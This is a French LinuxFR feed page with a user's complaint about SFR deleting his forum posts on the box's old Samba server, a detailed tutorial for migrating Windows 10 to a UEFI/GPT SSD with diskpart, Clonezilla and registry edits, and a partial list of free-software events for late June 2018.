Linux (fr)

  • SFR et la censure du Forum (Journaux LinuxFR)

    Haaaa qu'elle est belle la société qui gère ma connexion…

    OK, le prix est sympa, je dis pas… Si si, en offre 2 téléphones + box, je paye pas des masses. Mais quand vous connaissez un peu la technique, tout à coup vous voyez le visage des censeurs arriver en plongeant une ombre sur vos nuques. La toute puissance de la modération qui vient embraser vos ridicules vies de petits consommateurs Linuxien que vous êtes.

    Pour faire au plus simple: la box SFR permet de faire un partage de disque dur via Samba. La Box est sous un UNIX et, miracle, je suis sur Linux (un XBMC à droite, un PC à gauche).

    Espérant monter le disque via la vieille commande "mount -t cifs" je me dis "allez, un NAS pour pas cher". Que nenni mon ami, tu es dans l'erreur.

    Oui, on arrive à lire le disque. Mais une écriture = Permission Denied. Cherchez pas à me donner des tests de solution, le souci ne vient pas de la commande, mais bien du serveur Samba de la BOX.

    En branchant le disque sur le décodeur TV SFR, là pas de souci, hormis le petit souci (vous allez rire hein) que quand le décodeur se met en veille… hop, plus de partage. Mais bon, le serveur Samba du décodeur est OK.

    Un coup de "smbclient -L" et je vois la version du serveur, et au passage, l'OS de la box.

    Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.10-security-rollup]

    La version 2.x date de 2004… passons

    Le SAV (sur twitter) me dit d'appeler le service technique, qui lui me répond "samba n'est compatible qu'avec Windows". Ouiiiii bien sûr, et moi ma voiture ne marche qu'avec du foin.

    Je reviens vers le SAV qui me dit "postez sur le forum". Et c'est là que ça commence à être vraiment délirant.

    Premier post, je le fais avec des pointes d'humour, mais je me dis "allez c'est gentil". PIM! censure… Je relance le post en virant les blagues…. PIM! rebelote.

    J'en arrive à poster un message clairement "sans ton", le genre "poker face" de lady Gaga quoi… et pim ! censuré…

    Réponse du service de modération, accrochez vous à vos sièges:

    "Nous vous rappelons que la publication de messages incitant à des pratiques contraires à la législation n'est pas autorisée."

    J'ai vu passé un corbeau derrière ma tête…

    Et donc, depuis hier soir, je m'amuse à détecter la suppression du post pour le rebalancer sur le forum.

    Le message:
    http://forum.sfr.fr/t5/Aide-et-d%C3%A9pannage/Samba-CIFS-et-UNIX/m-p/1293225

    5 iéme message censuré, je le reposte en attendant que le service de modération m'explique quel partie du message est contraire à la legislation comme le stipule leur mail après suppression

    Box de SFR, type UNIX (c'est important)
    Mediacenter XBMC type UNIX (testé avec OpenElec et Raspbmc)
    Protocole de communication de partage de fichier Samba

    Création de point de montage:

    mount -t cifs //BOX/NAS /mnt/NAS -ouser=guest (testé avec plusieurs méthode d'authentification, options de mask etc…)

    Lecture OK
    Ecriture = "Permission Denied"

    Branchement du disque que le décodeur, même opération mais "Ecriture OK"

    Réponse du SFR (twitter SAV et Service Technique): ce n'est pas compatble avec UNIX et UNIX Like.

    J'insiste… Windows n'est pas un UNIX (ou Unix Like)… Windows est "compatible" avec le protocole Samba utilisé par la BOX.
    Donc, pour clarifier: Mac et Linux sont bien plus compatibles avec le service Samba de la BOX que Windows puisque nous utilisons le même logiciel pour le protocol de partage.

    Version utilisé par la BOX:
    Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.10-security-rollup]

    Version datant de 2004.

    Réponse du service technique: "nous n'avons pas prévu de mise à jour pour Samba d'ici les prochains mois"

    Le problème existe depuis le changement de protocol FTP vers Samba (2 ans si je ne me trompe pas).
    La version 2 de Samba contient énormément de bugs et de failles même en applicant les patches.

    Etant donné que le décodeur permet l'écriture, et pas la BOX, j'estime que la box a un Bug de configuration de service Samba.

    Je ne peux pas utiliser le décodeur comme NAS puisqu'il se met en veille régulièrement.

    Sur le forum SFR, des utilisateurs Mac se plaignent aussi de bugs du protocol, les utilisateurs XBMC (contenu dans énormément de media center) ne pourront pas écrire sur le disque, et tous les utilisateur Linux (y compris Android) ne peuvent créer de point de montage.

    Merci de nous expliquer pourquoi vous ne mettez pas à jour le service Samba pour qu'il soit compatible avec l'ensemble des clients réseaux.

    PS: je réitère, Windows n'est pas l'OS le plus compatible avec ce service, c'est l'inverse

    Résultat des courses, je pense que je vais aller voir ailleurs. Non pas parce que le bug persiste, non non, mais pour la manière dont SFR traite son client.

    Clairement, me dire que Samba n'est pas compatible avec Linux, c'est déjà fort, mais censurer un message parce que ça les gène de pas savoir répondre…

    Lire les commentaires

  • Migrer Windows 10 d'un disque BIOS/MBR, vers un SSD en mode UEFI/GPT avec des logiciels libres (Journaux LinuxFR)

    Sommaire

    Introduction

    Ce tutoriel vous guide pas à pas pour migrer votre installation de
    Windows qui est actuellement sur un disque dur de votre PC vers un
    nouveau disque, en l'occurrence un SSD. A vrai dire, vous pouvez aussi
    bien migrer vers un autre HDD.

    La spécificité de ce tutoriel est qu'elle utilise les outils fournis par
    Microsoft avec Windows ainsi que des logiciels libres (Clonezilla
    principalement, mais si quelque chose devait mal tourner vous pouvez avoir
    besoin d'utiliser fdisk, gdisk ou testdisk pour ne citer qu'eux). Quand
    j'ai voulu faire cette migration je n'ai pas trouvé de tutoriel
    expliquant de bout en bout comment faire cette migration juste avec les
    outils de Microsoft et des logiciels libres.

    Typiquement, vous pouvez avoir envie/besoin de faire cela car vous avez
    acheté un nouveau disque pour remplacer l'ancien (par exemple car
    l'ancien montre des signes de faiblesse, ou vous voulez améliorer la
    réactivité de votre système).

    En plus de la migration du système d'exploitation, ce tutoriel vous
    explique comment passer d'un démarrage en mode BIOS/MBR à un démarrage
    en mode UEFI/GPT.

    Succinctement la démarche est la suivante, d'abord installer le nouveau
    disque dans le PC, et initialiser la table de partition selon les normes
    Microsoft. Puis cloner/dupliquer la partition contenant le système
    d'exploitation à l'aide de Clonezilla. Ensuite et avant de redémarrer
    dans le clone de Windows sur le SSD, faire quelques modifications dans
    le registre pour que la lettre de lecteur C: pointe vers la bonne
    partition et éventuellement modifier le mode SATA en AHCI si vous le
    modifiez aussi dans le UEFI/BIOS. Après cela, on va préparer la
    partition système EFI/ESP pour que le PC puisse démarrer dessus et qu'il
    démarre sur le Windows du SSD. Finalement, une fois dans le Windows du
    SSD, on va réactiver l'"environnement de récupération de Windows".

    Mise en garde : Faites une sauvegarde de vos données avant toute
    opération. Personne n'est à l'abri d'une mauvaise manipulation ou d'une
    erreur.

    Prérequis

    Compétences

    Niveau de difficulté : Difficile.

    Vous devez être à l'aise au niveau de l'utilisation de la ligne de
    commande dans Windows, mais aussi assez à l'aise pour gérer les
    partitions de votre disque. Savoir modifier le paramétrage de votre
    Firmware UEFI/BIOS et aussi nécessaire. Ce tutoriel guide pas à pas pour
    la majorité des opérations. Certaines n'ont pas été détaillées par souci
    de simplicité et d'efficacité.

    Matériel

    Le PC où vous voulez installer le SSD. Il faut qu'il soit en état de
    marche. De plus il doit avoir un firmware UEFI. S'il n'a que un BIOS
    standard, sans UEFI, ce tutoriel n'est pas adapté.

    Clé(s) USB ou plusieurs CD/DVD sur lequel vous aurez mis
    Clonezilla, System rescue
    CD
    et un environnement de démarrage
    Windows PE, ou Windows RE, ou le DVD/Disque d'installation de Windows.

    Le disque SSD (testé avec Samsung SSD 860 EVO 250GB). Il doit avoir une
    taille suffisante pour contenir votre partition de Windows. Dans tous
    les cas, la taille de la partition qui contiendra Windows sur le SSD
    doit être au moins égale à la taille de la partition Windows du HDD que
    vous voulez cloner. Au besoin, pour remplir ce critère, réduisez la
    taille de votre partition Windows avec le gestionnaire de disque de
    Windows par exemple (ou un autre outil de gestion de partition, comme
    gparted, sur le System Rescue CD). Cherchez sur internet si vous ne
    savez pas comment faire.

    Logiciel

    Windows 10 installé (en version 64 bits) (testé avec Win10 v1709)

    Windows 10 PE ou support d'installation de Windows 10 (clé USB ou DVD) -
    En Version 64 bits (testé avec un support d'installation de Win10 v1804)

    System rescue CD (version 5.2.2 par
    exemple)

    Clonezilla installé sur une clé ou un CD.
    Bien vérifier avant que votre système arrive à démarrer dessus. (Testé
    avec Clonezilla 2.5.5-38)

    Nomenclature

    SSD : désigne le nouveau SSD

    HDD : désigne votre disque actuel, sur lequel est installé Windows

    WinPE : un environnement de démarrage Windows PE, ou Windows RE, ou le
    DVD/Disque d'installation de Windows. Il doit être sur un support
    amovible (USB, CD ou DVD)

    S: La lettre de lecteur affectée à la partition Système EFI qui sera sur
    le nouveau SSD (parfois appelée ESP, EFI_System_Partition ou encore
    SYSTEM, ou EFI)

    N: Le clone de Windows, sur le SSD

    O: Le Windows cloné, sur le HDD

    C: La partition dans laquelle est installée Windows, lorsqu'on est dans
    Windows (que ce soit le windows cloné, ou le clone)

    Les commandes doivent être lancées en tant qu'administrateur.

    Procédure de base

    • Fixer et brancher le SSD dans l’ordinateur

    • Désactiver Windows FastStart (cf votre moteur de recherche préféré)

    • Initialiser et partitionner le disque à l'aide de Windows

      • Démarrer sur le Windows installé ou WinPE
      • Pour initialiser le disque, d'abord créer une table de partition, puis partitionner le disque. Pour ce faire :
        • Suivre les instructions de partitionnement UEFI/GPT selon Microsoft. Ci-dessous mon exemple, mais peut-être avez-vous besoin d'une partition "recovery" aussi, ou votre configuration nécessite quelques aménagements. Dans ce cas, voir les instructions de Microsoft et adapter pour vos besoins.
        • Par exemple: une partition EFI de 260Mo, une partition Microsoft Reserved (MSR) de 16Mo, une partition pour Windows (taille au moins égale à la taille de la partition de Windows à cloner). Pour informations, dans diskpart, les tailles que vous donnez en MB/Mo sont en réalité des MiB/Mio (220 = 10242 octets).
          • Ouvrir une invite de commande en mode administrateur et lancer diskpart . Et une fois dans diskpart :
            • list disk pour lister les disques et connaître le n° du SSD.
            • select disk # avec le numéro du SSD à la place de #
            • clean Supprime le contenu du disque / l'initialise
            • convert gpt Définit que le disque aura une table de partition GPT
            • create partition efi size=260 Crée une partition EFI de 260MiB
            • format quick fs=fat32 label="System" Formater la partition EFI au format FAT32
            • assign letter="S" Lui donner la lettre S
            • create partition msr size=16 Créer une partition Microsoft Reserved de 16MiB
            • create partition primary Créer la partition pour Windows (l'équivalent du C: )
            • format quick fs=ntfs label="Windows" Formater la partition pour Windows au format NTFS
            • assign letter="N" Lui donner la lettre N
            • list volume Liste les volumes. Permet de voir la table de partition.
            • exit Quitte diskpart
    • Cloner le Windows installé sur le HDD. Ceci sera fait à l'aide de
      Clonezilla

      • Redémarrer dans Clonezilla
      • Une fois dans clonezilla, et si vous êtes confortable avec les lignes de commande Linux, éventuellement supprimer de la partition Windows du HDD les fichiers pagefile.sys , hyberfil.sys (désactiver windows faststart avant), swapfile.sys .
      • Cloner la partition Windows du HDD vers le SSD (de préférence, partition de même taille, et de toutes façons, la partition de destination doit être plus grande que la source. Si ce n'est pas le cas, réduisez d'abord la taille de votre partition Windows depuis Windows). Dans clonezilla, utiliser le mode Partition vers Partition, et en mode Export. Utiliser les options -e1 auto (automatically adjust file system geometry for a ntfs boot partition if exists) -e2 (sfdisk uses CHS of hard drive from EDD (for non grub loader) -r (resize filesystem to fit partition size of target) -m (do NOT clone boot loader) -v (verbose)
      • Optionnellement cacher la partition contenant le windows source de la table de partition du disque source (si vous ne savez pas à quoi ça sert, passez votre chemin). Pour cela modifier le type de partition de la partition NTFS de windows (en principe, NTFS a un id de « 7 ». On peut utiliser id 17 pour la partition cachée : 17 correspond à « IFS Hidden »). Utiliser cfdisk ou fdisk pour faire ce changement (ce sont des programmes linux).
    • Dans le Firmware UEFI (ou BIOS-UEFI), on peut en profiter pour passer
      du mode SATA "IDE" vers "AHCI". Windows n'aime pas ce changement et
      il faut donc faire une opération dans le registre qui est
      détaillée ci-dessous. Tant que vous ne le faites pas, vous aurez un
      écran de plantage bleu de windows au démarrage (BSOD).

    • Si vous voulez être sûr de ne pas faire de bêtise dans le Windows que
      vous venez de cloner, je vous conseille d'éteindre l’ordinateur & de
      débrancher l’ancien disque. Ainsi vous ne risquez pas de modifier le
      mauvais fichier de registre (en l'occurrence celui de votre Windows
      sur le HDD)

    • Effectuer quelques opérations sur le Windows de destination (celui
      sur le SSD) avant qu'on ne démarre dessus. En particulier corriger le
      registre pour affecter la lettre de lecteur C: à la bonne partition,
      et si le paramétrage du Firmware UEFI (BIOS-UEFI) a été modifié pour
      passer de SATA Mode PCI vers AHCI, on va aussi faire ce changement
      pour que ca fonctionne.

      • Redémarrer dans WinPE (en Mode UEFI, pas MBR !)
        • Tout d'abord déterminer la lettre de lecteur affectée au clone de Windows, celui qui est sur le SSD. Ou, s'il n'y a pas de lettre affectée, lui en donner une, par exemple N: (lettre utilisée dans les exemples qui suivent)
          • Pour cela, lancer dans diskpart
            • list volume
              Ce qui retourne la liste des volumes avec la lettre de lecteur qui a été affectée à chacun.
          • Si aucune lettre de lecteur n'est affectée, il faut alors lui en affecter une. Pour cela, lancer dans diskpart
            • select volume # (avec # étant le numéro du volume qui contient le nouveau windows)
            • assign letter=N
              S'il n'est pas possible d'utiliser select volume alors faire comme ceci
            • list disk
            • select disk # (# étant le numéro affecté au SSD)
            • list partition
            • select partition # (# étant le numéro affecté à la partition de Windows sur le SSD, probablement 3)
            • assign letter=N
        • Faire un CHKDSK /F sur la lettre du nouveau Win
        • Pour que la partition C: utilisée par Windows soit celle du SSD et pas celle de l’ancien disque, modifier une clé de registre du nouveau Windows :
          • Lancer REGEDIT et dans le registre HKEY_LOCAL_MACHINE monter la ruche N:\Windows\System32\Config\SYSTEM . Lui donner le nom "NewWin" On s’intéresse à HKEY_LOCAL_MACHINE\NewWin\MountedDevices . Ce sont là les valeurs qui sont dans le registre " HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices " lorsqu'on est dans l'installation de Windows.
            • Dans HKEY_LOCAL_MACHINE\NewWin\MountedDevices modifier la lettre de lecteur C: en renommant \DosDevices\C: par \DosDevices\O: (car la valeur fait référence à la partition de l'ancien Windows sur le HDD et on ne veut pas, en démarrant, utiliser cette partition mais celle de son clone qui est sur le SSD). Ainsi, lorsqu'on démarrera dans le nouveau Windows, la partition contenant le Windows sur le HDD aura la lettre O:, et la partition contenant le Windows sur le SSD aura la lettre C:
            • Créer une nouvelle valeur binaire nommée \DosDevices\C: et lui donner comme contenu celui de \DosDevices\N: qui est renseignée dans le registre WinPE, c'est-à-dire là HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices ( C: étant la lettre qu'utilisait le Windows du HDD comme partition où il y a le dossier \Windows )
            • ATTENTION: Bien vérifier que la copie a fonctionné et qu'il y a les bonnes valeurs, car dans mes essais, j'ai du m'y reprendre à 2 fois car le 1er "coller" ne collait pas ce que je voulais.
            • En principe c'est tout. Mais d'après certaines sources, il y aurait une clé \\?\Volume{GUID} ayant le même contenu que le \DosDevices\O: qu’on vient de modifier. Chez moi ce n'était pas le cas. Si vous avez une telle valeur, alors il faut lui donner le contenu de \DosDevices\N: depuis le registre WinPE
        • Si en même temps que la migration on veut aussi passer du mode SATA IDE vers AHCI alors il faut encore faire ceci. Cela a été repris du site tomshardware.co.uk
          • Toujours dans REGEDIT avec la ruche montée en HKEY_LOCAL_MACHINE\NewWin
          • Aller à HKEY_LOCAL_MACHINE\NewWin\ControlSet000\Services\storahci\StartOverride
          • Changer la valeur DWORD de 3 à 0.
          • Au redémarrage, si ça n'a pas été fait, changer la paramétrage du contrôleur SATA de IDE à AHCI. Au redémarrage, Windows devrait directement démarrer correctement et sans plantage (BSOD).
        • Rendre le disque bootable en installant les outils EFI de microsoft et configurant le Magasin BCD (BCD Store)
          • D'abord assigner une lettre de lecteur à la partition ESP
            • MOUNTVOL S: /S
              Si ca n'a pas fonctionné, faire comme ceci dans diskpart
            • list disk
            • select disk # (# est le numero du SSD retourné par list disk)
            • list partition
            • select partition # (# est probablement 1)
            • assign letter=S
          • Puis lancer bcdboot N:\windows /l fr-fr /s S: /f UEFI
            • N:\Windows est le répertoire contenant le clone de Windows sur le SSD)
            • S: = partition EFI
    • Redémarrer, et avant le lancement de Windows vérifier votre UEFI
      (ou BIOS-UEFI). Il faut qu'il soit configuré pour démarrer par défaut
      en mode UEFI et pas en mode BIOS. Penser aussi à corriger le
      paramétrage SATA si cela a été modifié dans le registre de Windows.

      Le paramétrage du démarrage avec
      bcdboot N:\windows /l fr-fr /s S: /f UEFI a normalement créé le
      magasin BCD, mis tous les fichiers EFI sur la partition SYSTEME (ESP,
      partiton EFI, la 1ère du SSD) et dit au firmware UEFI qu'il doit
      automatiquement démarrer avec le gestionnaire de démarrage
      (boot manager) de Windows.

    • Une fois qu’on a réussi à démarrer dans la copie de Windows

      • Réactiver le "FastBoot"
      • Réactiver l'environnement de récupération de Windows en lançant, depuis une ligne de commande avec les droits administrateur, la commande reagentc.exe /enable . Vérifier avec reagentc.exe /info . Et s'il y a une erreur essayer avec reagentc.exe /enable /setreimage /path C:\Recovery\WindowsREC:\Recovery\WindowsRE est le dossier où se trouve le fichier Winre.wim
      • Vérifier que tout est en ordre. Eventuellement donner un nouveau nom à votre partition C: (pour la différencier de celle sur le HDD) en lançant: LABEL [drive:][label]
      • Redémarrer encore une fois en laissant le processus de démarrage se faire tout seul pour vérifier que tout est ok.
    • Réinsérer l'ancien disque dur.

    • Normalement, il devrait être possible de redémarrer dans l'ancien
      Windows, du moment que vous savez comment booter en MBR, et sous
      réserve de ne pas avoir modifié le mode SATA dans le UEFI/BIOS. SI
      c'est le cas, vous pouvez envisager de modifier le registre du
      Windows du HDD, ou de modifier le paramétrage du UEFI/BIOS.

      Si vous avez aussi Linux d'installé sur le HDD, il devrait toujours
      être possible de le démarrer en mode BIOS

    • On peut diminuer/augmenter la taille de la partition C: du SSD (Pour
      un SSD TLC ou VNAND, on peut par exemple laisser de l’espace libre à
      la fin ~10 % de la capacité du disque d'après le logiciel Samsung
      Magician, pour un SSD 860 EVO)

    • En principe, puisqu’on boot en EFI on peut enlever sur le clone
      Windows sur le SSD les fichiers \bootmgr et \Boot\BCD puisque ce
      sont ceux qui étaient utilisés pour un boot en mode BIOS/MBR et que
      désormais on est en EFI. Vous pouvez d'abord les renommer et vérifier
      que ca ne change rien au prochain boot, plutôt que de les supprimer
      tout de suite.

    Quelques pistes si ça ne fonctionne pas…

    • Faire un chkdsk sur la nouvelle partition
    • Recréer le bootsector du NTFS avec testdisk (dispo sur System Rescue CD, mais peut être aussi dans Clonezilla ? Je n'ai pas vérifié)
    • Vérifier le BCD:
    • Vérifier que la partition EFI est bien initialisée (présence des fichiers \EFI , \EFI\Boot\ , \EFI\Microsoft\ …) Si ce n'est pas le cas, il y a eu un problème avec bcdboot N:\windows /l fr-fr /s S: /f UEFI
    • Vérifier le boot manager du bios (démarrage en UEFI ou MBR ? Gestionnaire de démarrage par défaut ? Présence du gestionnaire de démarrage de Windows ?)
    • A priori, pas utile : Commandes à lancer dans WinPE
      • Pour recréer le boot sector de la partition systeme (EFI): bootrec /fixboot
      • Pour chercher les OS sur le disque et les mettre dans le bootloader bootrec /scanos
    • Quelques commandes de bcdedit pour modiser la valeur de certains éléments du magasin BCD. Inutile car le BCD Store qui est utilisé lorsqu'on démarre en mode EFI n'est pas le même que celui utilisé dans un démarrage en mode MBR. Donc, pas besoin de chercher à modifier le BCD. Je garde pour info : les lettres sont celles telles que définies dans le système où on est (WinPE par ex). Doc BCDEDIT
      • bcdedit /set {bootmgr} device \Device\HarddiskVolume1
      • bcdedit /set {default} device \Device\HarddiskVolume3
      • bcdedit /set {default} osdevice \Device\HarddiskVolume3
      • Ou à la place de \Device\HarddiskVolume1 mettre les lettres de lecteur :
      • bcdedit /set {bootmgr} device partition=S:
      • bcdedit /set {default} device partition=C:
      • bcdedit /set {default} osdevice partition=C:

    Documentation, pour aller plus loin…

    A propos du EFI/UEFI:

    A propos de l'entrée MountedDevices du registre:
    http://diddy.boot-land.net/firadisk/files/mounteddevices.htm

    Si on veut y accéder, par défaut les fichiers du BCD sont cachés. Pour
    les rendre visibles:

    • attrib bcd -s -h -r
    • mv bcd bcd.bak
    • bootrec /rebuildbcd

    Documentation bcdedit:

    MBR Partition ID

    A propos des disk ID (=Disk signatures):

    Si besoin de supprimer du registre les entrées de disques qui ne sont
    pas connectés ou sans lettre assignée lancer: mountvol /R. Ce
    programme permet aussi de lister les lettres de volumes avec leur GUID
    (GUID pour ce système uniquement, il n’est pas stocké dans la partition,
    ni ailleurs sur le disque, il est assigné par windows pour un couple
    (signature de disque/partition offset) dans une instance de windows
    alors que dans une autre instance de windows la même partition sur le
    même disque aura ce GUID différent)

    Changer le label du volume: commande LABEL [drive:][label]

    Historique de révisions

    • Vous trouverez la dernière version de ce tutoriel sur ma page perso
      de tutoriels informatique
      .
      Vous y trouverez aussi la version HTML, PDF et TXT.

    • 2018-06-17 : Ajout d'une note indiquant que ce tutoriel utilise des
      logiciels libres

    • 2018-06-11 : Correction de la forme et de fautes d'orthographe

    • 2018-05-28

    Commentaires : voir le flux atom ouvrir dans le navigateur

  • Agenda du Libre pour la semaine 26 de l'année 2018 (Dépêches LinuxFR)

    Calendrier web, regroupant des événements liés au Libre (logiciel, salon, atelier, install party, conférence), annoncés par leurs organisateurs. Voici un récapitulatif de la semaine à venir. Le détail de chacun de ces 30 événements (1 en Belgique, 29 en France, 0 au Luxembourg, 0 au Québec 0 en Suisse et 0 en Tunisie) est en seconde partie de dépêche.

    Sommaire

    [FR Nantes] Cycle café vie privée Protection de son trafic sur Internet (VPN) - Le lundi 25 juin 2018 de 18h00 à 21h00.

    Protection de son trafic sur Internet

    Pourquoi et comment chiffrer son trafic sur Internet avec un VPN (réseau privé virtuel) ?
    Présentation du fonctionnement d’un VPN, de son intérêt et de sa mise en place.

    Au bar associatif La Dérive https://lajavadesbonsenfantsblog.wordpress.com/

    [FR Grenoble] Contribuer à BANO, la base d’adresse nationale d’OSM - Le lundi 25 juin 2018 de 18h30 à 20h30.

    Le collectif OpenStreetMap Grenoble vous invite à son prochain atelier OSM, La Base Adresses Nationale Ouverte (BANO) est une initiative d’OpenStreetMap France.

    Elle a pour objet la constitution d’une base la plus complète possible de points d’adresse à l’échelle de la France.

    L’objectif est de proposer une couverture d’adresses la plus étendue possible et la plus homogène possible.

    Cela doit permettre de réaliser sur le plus largement possible des opérations de géocodage (Quelle position correspond à cette adresse) et de géocodage inversé (Quelle adresse correspond à cette position).

    Lors de ce mapathon, le collectif OpenStreetMap Grenoble vous propose d’apprendre à contribuer à la BANO.  

    À partir de 18h30 à La Coop-Infolab. 31 rue Gustave Eiffel – 38 000 Grenoble

    BANO ou BAN

    La BAN (Base Adresse Nationale) est la base de référence nationale issue d’une convention signée entre l’IGN, le Groupe La Poste, l’État et OpenStreetMap France.

    BANO est un projet initié par OpenStreetMap France début 2014 et n’a pas encore intégré de données issues de la BAN (chantier en cours). Le contenu de la BAN est plus complet (plus de 20 millions d’adresses) que BANO (15. 5M d’adresses), mais n’intègre(ra) pas de contributions faites sur OpenStreetMap et encore très peu de données opendata diffusées par certaines collectivités.

    C’est quoi OSM

    OpenStreetMap (OSM) est un projet international fondé en 2004 dans le but de créer une carte libre du monde.

    Nous collectons des données dans le monde entier sur les routes, voies ferrées, les rivières, les forêts, les bâtiments et bien plus encore

    Les données cartographiques collectées sont ré-utilisables sous licence libre ODbL (depuis le 12 septembre 2012). Pour plus d’information inscrivez-vous à la liste locale OSM de Grenoble

    [FR Gaillac] Atelier informatique libre - Le lundi 25 juin 2018 de 19h30 à 23h00.

    Un atelier d’informatique libre voit le jour au sein du chinabulle, pour créer un espace temps d’échange autour des solutions informatiques libres.

    [FR Marseille] PGDay France - Le mardi 26 juin 2018 de 08h30 à 17h30.

    Le PGDay France est un moment de rencontres et de conférences pour la communauté francophone de PostgreSQL.

    Les conférences s’adressent à tous les utilisateurs du logiciel étudiants, administrateurs systèmes, DBA, développeurs, chefs de Projets, décideurs.

    [FR Aiglun] Après-midi « Open data » et « Cartopartie » - Fête de l'été - Le mardi 26 juin 2018 de 15h00 à 19h00.

    Démarche participative et collaborative, il s’agit notamment de permettre aux associations, producteurs locaux, habitants et usagers de cartographier les services / activités qui constituent la richesse de notre territoire sur un outil libre (Openstreetmap).

    Les données publiques communales mises en ligne et la création d’un agenda partagé (à destination des associations) seront également valorisées.

    Les organisateurs du marché d’Aiglun proposeront de nombreuses animations à travers la fête l’été. Venez nombreux

    Tout l’après-midi marché bio et des producteurs locaux, animation musicale, balades avec les ânes, jeux, atelier de cartographie libre

    À 15 h, 16 h et 17 h visite du champ de lavande rendez-vous sur la place du marché

    À partir de 17 h dégustations des produits du marché préparés par le restaurant Le Pressoir Gourmand et grillades d’agneau

    À 18 h apéritif local offert par la mairie d’Aiglun, débat sur la cartographie et les données ouvertes

    [FR Quetigny] Découvrir, tester, installer Linux et d’autres logiciels libres - Le mardi 26 juin 2018 de 20h30 à 23h30.

    COAGUL est une association d’utilisateurs de logiciels libres et de GNU Linux en particulier.

    Nous utilisons toutes sortes de distributions GNU / Linux (Ubuntu, CentOs, Fedora, Debian, Arch…) et toutes sortes de logiciels pourvu qu’ils soient libres (VLC, LibreOffice, Firefox, Thunderbird, GPG, Tor, OpenNebula, LXC, Apache…).

    Nous partageons volontiers nos connaissances des logiciels libres et l’entraide est de mise dans nos réunions.

    Les permanences servent à se rencontrer et à partager nos expériences et notre savoir sur le logiciel libre.

    Vous souhaitez nous rencontrer nous vous accueillerons à notre permanence.

    On adore les gâteaux et les chocolats, vous pouvez donc en apporter-)

    [FR Le Mans] Permanence du mercredi après-midi - Le mercredi 27 juin 2018 de 12h00 à 17h00.

    Assistance technique et démonstration concernant les logiciels libres.

    [FR Rennes] Sécuriser son infrastructure - Le mercredi 27 juin 2018 de 18h30 à 21h00.

    La sécurité informatique ne repose pas que sur la qualité du code et le chiffrement (même s’ils sont essentiels), c’est aussi une question d’architecture.

    Vous (re)découvrirez quelques principes de sécurisation des infrastructures informatiques tels que la séparation des flux, la redondance et d’autres éléments pouvant améliorer la protection et la disponibilité des services.

    La conférence sera présentée par
      Thomas MICHEL
      Esprit Libre
      esprit-libre-conseil.com (link is external)

    mercredi 27 juin - 18h30

    FrenchTech Rennes - Saint-Malo
    2 rue de la Mabilais
    Rennes

    >>> S’inscrire

    [FR Montpellier] Rencontres des Groupes OpenStreetMap OSM - Le mercredi 27 juin 2018 de 19h00 à 22h00.

    Ces rencontres mensuelles se veulent être des instants conviviaux pour faire un compte-rendu des activités du mois précédent, mais aussi pour présenter les opérations et rendez-vous à venir que proposent les groupes HérOSM et le Collectif des Garrigues. Naturellement, elles sont également ouvertes à tout public.

    Si vous avez des propositions n’hésitez pas à compléter la page dédiée.

    Proposition de programme

    • En première partie de soirée, une initiation pour les débutants est prévue
    • Possibilité d’initiation à la contribution pour les débutants qui le désire
    • Préparation du dossier pour le budget de l’Opération Libre
    • Préparation de l’Opération Libre à Jacou
    • Travail sur les voies manquantes sur (enjeu évident de géocodage d’adresses, comme celles fournies par SIRENE ou FANTOIR par exemple
    • Petit topo sur la saisie des noms de rues à partir des données cadastre/fantoir par département
    • Propositions au sujet du calcul d’itinéraire multimodal (auto, vélo, piéton) dans les futures discussions

      • La pratique des cartoparties
      • Faut-il prioriser la cartographie de certains endroits (gares et arrêts de tram, par exemple) ?
    • Contributions libres

    Déroulement de la rencontre

    Nous vous présenterons les projets en cours, nous vous vous proposerons de contribuer, faire de la production de données, puis nous passerons à un instant convivial sur la terrasse.
    Comme d’habitude, chacun amène ce qu’il veut à manger et à boire pour un repas partagé.
    N’oubliez pas vos ordinateurs portables pour la séance de saisie

    Le dernier mercredi de chaque mois
    Mercredi 27 septembre 2017 de 19h00 à 22h00
    Mercredi 25 octobre 2017 de 19h00 à 22h00
    Mercredi 29 novembre 2017 de 19h00 à 22h00
    Mercredi 20 décembre 2017 de 19h00 à 22h00
    Mercredi 24 janvier 2018 de 19h00 à 22h00
    Mercredi 28 février 2018 de 19h00 à 22h00
    Mercredi 28 mars 2018 de 19h00 à 22h00
    Mercredi 25 avril 2018 de 19h00 à 22h00
    Mercredi 30 mai 2018 de 19h00 à 22h00
    Mercredi 27 juin 2018 de 19h00 à 22h00

    Mercredi 27 septembre 2017 de 19h00 à 22h00
    Le Faubourg - 15, rue du Faubourg de Nîmes, 34 000 Montpellier

    Tramway lignes 1, 2 et 4 arrêt Corum
    GPS Latitude 43.614186 | Longitude 3.881404
    Carte OpenStreetMap

    Le dernier mercredi de chaque mois.

    [FR Toulouse] Rencontres Tetalab - Le mercredi 27 juin 2018 de 20h30 à 23h30.

    Rencontre hebdomadaire des hackers et artistes libristes Toulousains.

    Ouvert au public tous les mercredi soir.

    Venez nombreux.

    [FR Choisy-le-Roi] Pas Sage en Seine - Du jeudi 28 juin 2018 à 10h00 au dimanche 1 juillet 2018 à 20h00.

    Le festival auto-organisé par vous et l’équipe de Pas Sage En Seine se tiendra du 28 juin au 1er juillet 2017 à Choisy-le-Roi dans et aux abords de la Médiathèque Louis Aragon.

    Nous vous invitons à participer à PSES2018 et venir participer à ses ateliers et conférences bien sûr, mais aussi installations, discussions et autres formes d’interventions.

    Des thèmes sont proposés, pas imposés, pour laisser place à la manifestation d’idées originales.

    Le Festival sera un moment convivial et festif pour décrire nos modes d’organisation, nos outils, nos perspectives, évoquer les usages d’autodéfense numériques faces aux perpétuelles manipulations sécuritaires.

    Le vendredi sera une journée spéciale consacrée au RGPD, et le samedi soir (lors de la micro-nocturne jusqu’à 21h30) vous pourrez assister à un concert de chiptune réalisé par le collectif Chip Bangers.

    L’Hacktiviste naît de cette prise de conscience intégrale. Il ouvre, détourne, invente tous les possibles, ou presque… Être et faire politiquement ensemble sera notre prochaine étape

    Le trajet depuis le centre de Paris prend une petite vingtaine de minutes uniquement (Gare du RER C Choisy-le-Roi).

    [FR Rennes] Conseil d’administration de Gulliver - Le jeudi 28 juin 2018 de 12h00 à 14h00.

    Gulliver tiendra son conseil d’administration à la Maison de la Consommation et de l’Environnement (MCE) le jeudi 28 juin 2018 à partir de 12 h. L’ordre du jour est donné dans le lien ci-dessous.

